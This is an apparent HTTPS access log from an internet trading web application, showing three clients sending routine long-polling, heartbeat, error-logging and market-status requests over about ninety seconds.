[09/Jan/2026:11:06:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:06:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:06:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:06:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:06:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928242262 HTTP/1.1" -
[09/Jan/2026:11:06:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928255314 HTTP/1.1" -
[09/Jan/2026:11:06:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928241075 HTTP/1.1" -
[09/Jan/2026:11:06:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928247382 HTTP/1.1" -
[09/Jan/2026:11:06:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928260335 HTTP/1.1" -
[09/Jan/2026:11:06:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928246119 HTTP/1.1" -
[09/Jan/2026:11:06:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:06:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:06:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:06:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:06:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:06:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:06:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928252509 HTTP/1.1" -
[09/Jan/2026:11:06:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928265373 HTTP/1.1" -
[09/Jan/2026:11:06:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928251150 HTTP/1.1" -
[09/Jan/2026:11:06:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928257566 HTTP/1.1" -
[09/Jan/2026:11:06:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:06:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:06:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928270445 HTTP/1.1" -
[09/Jan/2026:11:06:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928256174 HTTP/1.1" -
[09/Jan/2026:11:06:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928262710 HTTP/1.1" -
[09/Jan/2026:11:06:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928275514 HTTP/1.1" -
[09/Jan/2026:11:06:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928261193 HTTP/1.1" -
[09/Jan/2026:11:06:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928267844 HTTP/1.1" -
[09/Jan/2026:11:06:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928280568 HTTP/1.1" -
[09/Jan/2026:11:06:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928266231 HTTP/1.1" -
[09/Jan/2026:11:06:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:06:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:06:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:06:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:06:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928272971 HTTP/1.1" -
[09/Jan/2026:11:06:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928285592 HTTP/1.1" -
[09/Jan/2026:11:06:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928271272 HTTP/1.1" -
[09/Jan/2026:11:06:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928278124 HTTP/1.1" -
[09/Jan/2026:11:06:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928290616 HTTP/1.1" -
[09/Jan/2026:11:06:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928276313 HTTP/1.1" -
[09/Jan/2026:11:06:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:06:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:06:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:06:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:06:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:06:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:06:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928283281 HTTP/1.1" -
[09/Jan/2026:11:06:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928295676 HTTP/1.1" -
[09/Jan/2026:11:06:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928281350 HTTP/1.1" -
[09/Jan/2026:11:06:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:06:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:06:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928288347 HTTP/1.1" -
[09/Jan/2026:11:06:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928286374 HTTP/1.1" -
[09/Jan/2026:11:06:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928301238 HTTP/1.1" -
[09/Jan/2026:11:07:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928293510 HTTP/1.1" -
[09/Jan/2026:11:07:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928291390 HTTP/1.1" -
[09/Jan/2026:11:07:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928307234 HTTP/1.1" -
[09/Jan/2026:11:07:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928298645 HTTP/1.1" -
[09/Jan/2026:11:07:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928296413 HTTP/1.1" -
[09/Jan/2026:11:07:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928313228 HTTP/1.1" -
[09/Jan/2026:11:07:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:07:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:07:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:07:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:07:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928303784 HTTP/1.1" -
[09/Jan/2026:11:07:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928301455 HTTP/1.1" -
[09/Jan/2026:11:07:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928319238 HTTP/1.1" -
[09/Jan/2026:11:07:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928308916 HTTP/1.1" -
[09/Jan/2026:11:07:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928306488 HTTP/1.1" -
[09/Jan/2026:11:07:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:07:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:07:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:07:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:07:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:07:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:07:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928325230 HTTP/1.1" -
[09/Jan/2026:11:07:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928311534 HTTP/1.1" -
[09/Jan/2026:11:07:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928314044 HTTP/1.1" -
[09/Jan/2026:11:07:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:07:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:07:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928316552 HTTP/1.1" -
[09/Jan/2026:11:07:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928319098 HTTP/1.1" -
[09/Jan/2026:11:07:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928331224 HTTP/1.1" -
[09/Jan/2026:11:07:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928321572 HTTP/1.1" -
[09/Jan/2026:11:07:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928324227 HTTP/1.1" -
[09/Jan/2026:11:07:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928337231 HTTP/1.1" -
[09/Jan/2026:11:07:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928326601 HTTP/1.1" -
[09/Jan/2026:11:07:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928329339 HTTP/1.1" -
[09/Jan/2026:11:07:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928343236 HTTP/1.1" -
[09/Jan/2026:11:07:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:07:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:07:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:07:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:07:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928331624 HTTP/1.1" -
[09/Jan/2026:11:07:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928334492 HTTP/1.1" -
